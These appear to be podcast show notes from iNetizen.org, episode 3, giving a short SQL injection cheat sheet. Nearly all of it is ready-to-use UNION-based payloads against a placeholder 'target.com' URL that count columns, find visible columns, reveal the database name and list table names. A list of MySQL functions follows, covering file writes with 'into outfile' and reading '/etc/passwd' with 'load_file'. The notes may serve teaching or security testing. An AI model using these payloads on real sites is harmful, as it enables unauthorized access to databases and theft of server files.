

iNetizen.org - Episode 3 Show Notes

SQL Injection Examples

Identifying column amount:

target.com/index.php?id=1 ORDER BY 10-- (decrement or increment as required)

Listing visible columns:

target.com/index.php?id=null union select 1,2,3,4,5--

Listing database name:

target.com/index.php?id=null union select 1,2,database(),4,5-- (Assumes 3rd column is visible)

Listing table names from current database:

target.com/index.php?id=null union select 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database()--

Useful functions

Version: @@version / version()

Data directory: @datadir

Write to file: into outfile('/dir/filename.ext')

Read file: load_file('/etc/passwd')

DB user: user()

DB name: database()